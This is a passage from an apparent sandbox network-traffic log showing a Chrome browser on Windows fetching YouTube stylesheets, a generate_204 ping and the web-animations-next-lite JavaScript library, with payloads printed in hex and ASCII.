2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 74 6f 5c 22 2c 20 5c 22 4e 6f 74 6f 5c 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 5c 6e 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 65 6c 65 76 61 74 69 6f 6e 3d 5c 22 31 5c 22 5d 20 7b 5c 6e 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 32 70 78 20 32 70 78 20 30 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 34 29 2c 20 30 20 31 70 78 20 35 70 78 20 30 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 2c 20 30 20 33 70 78 20 31 70 78 20 2d 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 65 6c Data Ascii: to\", \"Noto\", sans-serif;\n -webkit-font-smoothing: antialiased;\n}\n\ntp-yt-paper-button[elevation=\"1\"] {\n box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -2px rgba(0, 0, 0, 0.2);\n}\n\ntp-yt-paper-button[el
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 65 72 2d 62 75 74 74 6f 6e 2d 66 6c 61 74 2d 6b 65 79 62 6f 61 72 64 2d 66 6f 63 75 73 2d 6f 75 74 6c 69 6e 65 29 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 64 69 73 61 62 6c 65 64 5d 20 7b 5c 6e 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 5c 6e 20 20 63 6f 6c 6f 72 3a 20 23 61 38 61 38 61 38 3b 5c 6e 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 5c 6e 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 64 69 73 61 62 6c 65 64 5d 5b 72 61 69 73 65 64 5d 20 7b 5c 6e 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 61 65 61 65 61 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 61 6e Data Ascii: er-button-flat-keyboard-focus-outline);\n}\n\ntp-yt-paper-button[disabled] {\n background: none;\n color: #a8a8a8;\n cursor: auto;\n pointer-events: none;\n}\n\ntp-yt-paper-button[disabled][raised] {\n background: #eaeaea;\n}\n\ntp-yt-paper-button[an
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 64 65 49 6e 4f 70 61 63 69 74 79 20 7b 5c 6e 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 5c 6e 7d 5c 6e 5c 6e 31 30 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 7d 5c 6e 5c 6e 7d 5c 6e 5c 6e 40 6b 65 79 66 72 61 6d 65 73 20 6b 65 79 46 72 61 6d 65 46 61 64 65 4f 75 74 4f 70 61 63 69 74 79 20 7b 5c 6e 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 7d 5c 6e 5c 6e 31 30 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 5c 6e 7d 5c 6e 5c 6e 7d 5c 6e 5c 6e 40 6b 65 79 66 72 61 6d 65 73 20 6b 65 79 46 72 61 6d 65 53 6c Data Ascii: deInOpacity {\n0% {\n opacity: 0;\n}\n\n100% {\n opacity: var(--paper-tooltip-opacity, 0.9);\n}\n\n}\n\n@keyframes keyFrameFadeOutOpacity {\n0% {\n opacity: var(--paper-tooltip-opacity, 0.9);\n}\n\n100% {\n opacity: 0;\n}\n\n}\n\n@keyframes keyFrameSl
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 2d 66 75 6e 63 74 69 6f 6e 3a 20 65 61 73 65 2d 69 6e 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 64 75 72 61 74 69 6f 6e 2d 6f 75 74 2c 20 35 30 30 6d 73 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 66 6f 72 77 61 72 64 73 3b 5c 6e 7d 5c 6e 5c 6e 2e 73 63 61 6c 65 2d 75 70 2d 61 6e 69 6d 61 74 69 6f 6e 2e 74 70 2d 79 74 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 20 7b 5c 6e 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 3b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 Data Ascii: -function: ease-in;\n animation-duration: var(--paper-tooltip-duration-out, 500ms);\n animation-fill-mode: forwards;\n}\n\n.scale-up-animation.tp-yt-paper-tooltip {\n transform: scale(0);\n opacity: var(--paper-tooltip-opacity, 0.9);\n animation-dela
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 66 6f 72 77 61 72 64 73 3b 5c 6e 7d 5c 6e 5c 6e 2e 73 6c 69 64 65 2d 64 6f 77 6e 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6f 75 74 2e 74 70 2d 79 74 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 20 7b 5c 6e 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 64 65 6c 61 79 2d 6f 75 74 2c 20 35 30 30 6d 73 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 6b 65 79 46 72 61 6d 65 53 6c 69 64 65 44 6f 77 6e 4f 75 Data Ascii: mation-fill-mode: forwards;\n}\n\n.slide-down-animation-out.tp-yt-paper-tooltip {\n transform: translateY(0);\n opacity: var(--paper-tooltip-opacity, 0.9);\n animation-delay: var(--paper-tooltip-delay-out, 500ms);\n animation-name: keyFrameSlideDownOu
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 7a 65 64 49 6d 67 44 69 76 2e 69 72 6f 6e 2d 69 6d 61 67 65 20 7b 5c 6e 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 5c 6e 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 70 78 3b 5c 6e 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 70 78 3b 5c 6e 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 5c 6e 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 70 78 3b 5c 6e 5c 6e 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 5c 6e 7d 5c 6e 5c 6e 23 69 6d 67 2e 69 72 6f 6e 2d 69 6d 61 67 65 20 7b 5c 6e 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 5c 6e 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 69 72 6f 6e 2d 69 6d 61 67 65 2d 77 69 64 74 68 2c 20 61 75 74 6f 29 3b 5c 6e 20 20 20 20 20 20 20 20 68 65 Data Ascii: zedImgDiv.iron-image {\n position: absolute;\n top: 0px;\n right: 0px;\n bottom: 0px;\n left: 0px;\n\n display: none;\n}\n\n#img.iron-image {\n display: block;\n width: var(--iron-image-width, auto);\n he
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 67 69 6f 6e 5d 20 7b 5c 6e 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 5b 68 61 73 2d 73 63 72 6f 6c 6c 69 6e 67 2d 72 65 67 69 6f 6e 5d 20 23 77 72 61 70 70 65 72 2e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 20 3e 20 5b 73 6c 6f 74 3d 68 65 61 64 65 72 5d 20 7b 5c 6e 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 5b 68 61 73 2d 73 63 72 6f 6c 6c 69 6e 67 2d 72 65 67 69 6f 6e 5d 20 23 77 72 61 70 70 65 72 2e 69 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 20 3e 20 5b 73 6c 6f Data Ascii: gion] {\n height: 100%;\n}\n\ntp-yt-app-header-layout[has-scrolling-region] #wrapper.tp-yt-app-header-layout > [slot=header] {\n position: absolute;\n}\n\ntp-yt-app-header-layout[has-scrolling-region] #wrapper.initializing.tp-yt-app-header-layout > [slo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49752	172.217.165.150	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:44 UTC	947	OUT	GET /generate_204 HTTP/1.1 Host: i.ytimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:44 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:34:44 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49749	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:44 UTC	1172	OUT	GET /s/desktop/80338919/jsbin/web-animations-next-lite.min.vflset/web-animations-next-lite.min.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:44 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 50702 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28955 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:44 UTC	565	IN	Data Raw: 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 34 20 47 6f 6f 67 6c 65 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 0a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 2c 20 56 65 72 73 69 6f 6e 20 32 2e 30 20 28 74 68 65 20 22 4c 69 63 65 6e 73 65 22 29 3b 0a 20 79 6f 75 20 6d 61 79 20 6e 6f 74 20 75 73 65 20 74 68 69 73 20 66 69 6c 65 20 65 78 63 65 70 74 20 69 6e 20 63 6f 6d 70 6c 69 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 0a 20 20 20 20 20 59 6f 75 20 6d 61 79 20 6f 62 74 61 69 6e 20 61 20 63 6f 70 79 20 6f 66 20 74 68 65 20 4c 69 63 65 6e 73 65 20 61 74 0a 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c Data Ascii: /* Copyright 2014 Google Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/l
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 61 74 69 6f 6e 73 20 75 6e 64 65 72 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 36 20 47 6f 6f 67 6c 65 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 0a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 2c 20 56 65 72 73 69 6f 6e 20 32 2e 30 20 28 74 68 65 20 22 4c 69 63 65 6e 73 65 22 29 3b 0a 20 79 6f 75 20 6d 61 79 20 6e 6f 74 20 75 73 65 20 74 68 69 73 20 66 69 6c 65 20 65 78 63 65 70 74 20 69 6e 20 63 6f 6d 70 6c 69 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 0a 20 20 20 20 20 59 6f 75 20 6d 61 79 20 6f 62 74 61 69 6e 20 61 20 63 6f 70 79 20 6f 66 20 74 68 65 20 4c 69 63 65 6e 73 65 20 61 74 0a 0a 20 Data Ascii: ations under the License. Copyright 2016 Google Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 74 75 72 6e 3b 22 66 69 6c 6c 22 3d 3d 42 26 26 2d 31 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 70 5b 42 5d 29 7c 7c 22 64 69 72 65 63 74 69 6f 6e 22 3d 3d 42 26 26 2d 31 3d 3d 6d 2e 69 6e 64 65 78 4f 66 28 70 5b 42 5d 29 7c 7c 22 70 6c 61 79 62 61 63 6b 52 61 74 65 22 3d 3d 42 26 26 31 21 3d 3d 70 5b 42 5d 26 26 79 2e 69 73 44 65 70 72 65 63 61 74 65 64 28 22 41 6e 69 6d 61 74 69 6f 6e 45 66 66 65 63 74 54 69 6d 69 6e 67 2e 70 6c 61 79 62 61 63 6b 52 61 74 65 22 2c 22 32 30 31 34 2d 31 31 2d 32 38 22 2c 22 55 73 65 20 41 6e 69 6d 61 74 69 6f 6e 2e 70 6c 61 79 62 61 63 6b 52 61 74 65 20 69 6e 73 74 65 61 64 2e 22 29 7c 7c 28 41 5b 42 5d 3d 70 5b 42 5d 29 7d 7d 29 3a 41 2e 64 75 72 61 74 69 6f 6e 3d 70 3b 72 65 74 75 72 6e 20 41 7d 66 75 6e 63 74 69 6f 6e 20 64 Data Ascii: turn;"fill"==B&&-1==e.indexOf(p[B])\|\|"direction"==B&&-1==m.indexOf(p[B])\|\|"playbackRate"==B&&1!==p[B]&&y.isDeprecated("AnimationEffectTiming.playbackRate","2014-11-28","Use Animation.playbackRate instead.")\|\|(A[B]=p[B])}}):A.duration=p;return A}function d
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 6d 3d 5b 22 72 65 76 65 72 73 65 22 2c 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 61 6c 74 65 72 6e 61 74 65 2d 72 65 76 65 72 73 65 22 5d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 70 29 7b 72 65 74 75 72 6e 20 70 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 5f 73 65 74 4d 65 6d 62 65 72 3a 66 75 6e 63 74 69 6f 6e 28 70 2c 77 29 7b 74 68 69 73 5b 22 5f 22 2b 70 5d 3d 77 3b 74 68 69 73 2e 5f 65 66 66 65 63 74 26 26 28 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 5f 74 69 6d 69 6e 67 49 6e 70 75 74 5b 70 5d 3d 77 2c 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 5f 74 69 6d 69 6e 67 3d 0a 79 2e 6e 6f 72 6d 61 6c 69 7a 65 54 69 6d 69 6e 67 49 6e 70 75 74 28 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 5f 74 69 6d 69 6e 67 49 6e 70 75 74 29 2c 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 61 63 Data Ascii: m=["reverse","alternate","alternate-reverse"],n=function(p){return p};k.prototype={_setMember:function(p,w){this["_"+p]=w;this._effect&&(this._effect._timingInput[p]=w,this._effect._timing=y.normalizeTimingInput(this._effect._timingInput),this._effect.ac
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 65 61 73 69 6e 67 7d 2c 73 65 74 20 69 74 65 72 61 74 69 6f 6e 73 28 70 29 7b 69 66 28 28 69 73 4e 61 4e 28 70 29 7c 7c 30 3e 70 29 26 26 66 28 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 69 74 65 72 61 74 69 6f 6e 73 20 6d 75 73 74 20 62 65 20 6e 6f 6e 2d 6e 65 67 61 74 69 76 65 2c 20 72 65 63 65 69 76 65 64 3a 20 22 2b 70 29 3b 74 68 69 73 2e 5f 73 65 74 4d 65 6d 62 65 72 28 22 69 74 65 72 61 74 69 6f 6e 73 22 2c 70 29 7d 2c 67 65 74 20 69 74 65 72 61 74 69 6f 6e 73 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 72 61 74 69 6f 6e 73 7d 7d 3b 76 61 72 20 6c 3d 31 2c 72 3d 2e 35 2c 74 3d 30 2c 78 3d 7b 65 61 73 65 3a 64 28 2e 32 35 2c 2e 31 2c 2e 32 35 2c 31 29 2c 22 65 Data Ascii: g(){return this._easing},set iterations(p){if((isNaN(p)\|\|0>p)&&f())throw new TypeError("iterations must be non-negative, received: "+p);this._setMember("iterations",p)},get iterations(){return this._iterations}};var l=1,r=.5,t=0,x={ease:d(.25,.1,.25,1),"e
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 22 66 6f 72 77 61 72 64 73 22 3d 3d 42 7c 7c 22 62 6f 74 68 22 3d 3d 42 3f 70 3a 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 3b 63 61 73 65 20 30 3a 70 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 70 3d 76 6f 69 64 20 30 7d 69 66 28 6e 75 6c 6c 3d 3d 3d 70 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 77 3d 7a 2e 64 75 72 61 74 69 6f 6e 3b 42 3d 7a 2e 69 74 65 72 61 74 69 6f 6e 53 74 61 72 74 3b 30 3d 3d 3d 77 3f 31 21 3d 3d 41 26 26 28 42 2b 3d 7a 2e 69 74 65 72 61 74 69 6f 6e 73 29 3a 42 2b 3d 70 2f 77 3b 77 3d 42 3b 42 3d 49 6e 66 69 6e 69 74 79 3d 3d 3d 77 3f 7a 2e 69 74 65 72 61 74 69 6f 6e 53 74 61 72 74 25 31 3a 77 25 31 3b 30 21 3d 3d 42 7c 7c 32 21 3d 3d 41 7c 7c 30 3d 3d 3d 7a 2e 69 74 65 72 61 74 69 6f 6e 73 7c 7c 30 3d 3d 3d 70 26 26 30 21 3d 3d 7a 2e 64 75 72 Data Ascii: "forwards"==B\|\|"both"==B?p:null;break a;case 0:p=null;break a}p=void 0}if(null===p)return null;w=z.duration;B=z.iterationStart;0===w?1!==A&&(B+=z.iterations):B+=p/w;w=B;B=Infinity===w?z.iterationStart%1:w%1;0!==B\|\|2!==A\|\|0===z.iterations\|\|0===p&&0!==z.dur
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 6c 6f 72 20 62 6f 72 64 65 72 42 6f 74 74 6f 6d 53 74 79 6c 65 20 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 20 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 20 62 6f 72 64 65 72 4c 65 66 74 53 74 79 6c 65 20 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 0a 62 6f 72 64 65 72 42 6f 74 74 6f 6d 3a 5b 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 22 2c 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 53 74 79 6c 65 22 2c 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 43 6f 6c 6f 72 22 5d 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 5b 22 62 6f 72 64 65 72 54 6f 70 43 6f 6c 6f 72 22 2c 22 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 22 2c 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 43 6f 6c 6f 72 22 2c 22 62 6f 72 64 65 72 4c 65 66 Data Ascii: lor borderBottomStyle borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth".split(" "),borderBottom:["borderBottomWidth","borderBottomStyle","borderBottomColor"],borderColor:["borderTopColor","borderRightColor","borderBottomColor","borderLef
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 67 65 22 3a 22 31 35 30 25 22 2c 22 78 78 2d 6c 61 72 67 65 22 3a 22 32 30 30 25 22 7d 2c 66 6f 6e 74 57 65 69 67 68 74 3a 7b 6e 6f 72 6d 61 6c 3a 22 34 30 30 22 2c 62 6f 6c 64 3a 22 37 30 30 22 7d 2c 6f 75 74 6c 69 6e 65 57 69 64 74 68 3a 76 2c 74 65 78 74 53 68 61 64 6f 77 3a 7b 6e 6f 6e 65 3a 22 30 70 78 20 30 70 78 20 30 70 78 20 74 72 61 6e 73 70 61 72 65 6e 74 22 7d 2c 62 6f 78 53 68 61 64 6f 77 3a 7b 6e 6f 6e 65 3a 22 30 70 78 20 30 70 78 20 30 70 78 20 30 70 78 20 74 72 61 6e 73 70 61 72 65 6e 74 22 7d 7d 3b 79 2e 63 6f 6e 76 65 72 74 54 6f 41 72 72 61 79 46 6f 72 6d 3d 6b 3b 79 2e 6e 6f 72 6d 61 6c 69 7a 65 4b 65 79 66 72 61 6d 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 6e 3d 62 2e 6c 65 6e 67 Data Ascii: ge":"150%","xx-large":"200%"},fontWeight:{normal:"400",bold:"700"},outlineWidth:v,textShadow:{none:"0px 0px 0px transparent"},boxShadow:{none:"0px 0px 0px 0px transparent"}};y.convertToArrayForm=k;y.normalizeKeyframes=function(a){function c(){var n=b.leng
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 22 2c 30 29 29 69 66 28 43 3d 66 5b 75 5d 29 66 6f 72 28 78 20 69 6e 20 68 2e 73 74 79 6c 65 5b 75 5d 3d 71 2c 43 29 7b 71 3d 75 3d 43 5b 78 5d 3b 76 61 72 20 70 3d 68 2e 73 74 79 6c 65 5b 75 5d 3b 74 5b 75 5d 3d 71 20 69 6e 20 64 3f 64 5b 71 5d 5b 70 5d 7c 7c 70 3a 70 7d 65 6c 73 65 20 74 5b 75 5d 3d 75 20 69 6e 20 64 3f 64 5b 75 5d 5b 71 5d 7c 7c 71 3a 71 7d 76 6f 69 64 20 30 3d 3d 0a 6c 2e 6f 66 66 73 65 74 26 26 28 6c 2e 6f 66 66 73 65 74 3d 6e 75 6c 6c 29 3b 76 6f 69 64 20 30 3d 3d 6c 2e 65 61 73 69 6e 67 26 26 28 6c 2e 65 61 73 69 6e 67 3d 22 6c 69 6e 65 61 72 22 29 3b 72 65 74 75 72 6e 20 6c 7d 29 3b 61 3d 21 30 3b 66 6f 72 28 76 61 72 20 67 3d 2d 49 6e 66 69 6e 69 74 79 2c 65 3d 30 3b 65 3c 62 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 6d Data Ascii: ",0))if(C=f[u])for(x in h.style[u]=q,C){q=u=C[x];var p=h.style[u];t[u]=q in d?d[q][p]\|\|p:p}else t[u]=u in d?d[u][q]\|\|q:q}void 0==l.offset&&(l.offset=null);void 0==l.easing&&(l.easing="linear");return l});a=!0;for(var g=-Infinity,e=0;e<b.length;e++){var m
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 69 74 65 22 21 3d 65 29 7b 76 61 72 20 6d 3d 7b 6f 66 66 73 65 74 3a 63 5b 67 5d 2e 6f 66 66 73 65 74 2c 65 61 73 69 6e 67 3a 63 5b 67 5d 2e 65 61 73 69 6e 67 2c 76 61 6c 75 65 3a 63 5b 67 5d 5b 65 5d 7d 3b 62 5b 65 5d 3d 62 5b 65 5d 7c 7c 5b 5d 3b 62 5b 65 5d 2e 70 75 73 68 28 6d 29 7d 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 62 29 69 66 28 63 3d 62 5b 6e 5d 2c 30 21 3d 63 5b 30 5d 2e 6f 66 66 73 65 74 7c 7c 31 21 3d 63 5b 63 2e 6c 65 6e 67 74 68 2d 31 5d 2e 6f 66 66 73 65 74 29 74 68 72 6f 77 7b 74 79 70 65 3a 44 4f 4d 45 78 63 65 70 74 69 6f 6e 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 45 44 5f 45 52 52 2c 6e 61 6d 65 3a 22 4e 6f 74 53 75 70 70 6f 72 74 65 64 45 72 72 6f 72 22 2c 6d 65 73 73 61 67 65 3a 22 50 61 72 74 69 61 6c 20 6b 65 79 66 72 61 6d 65 73 20 Data Ascii: ite"!=e){var 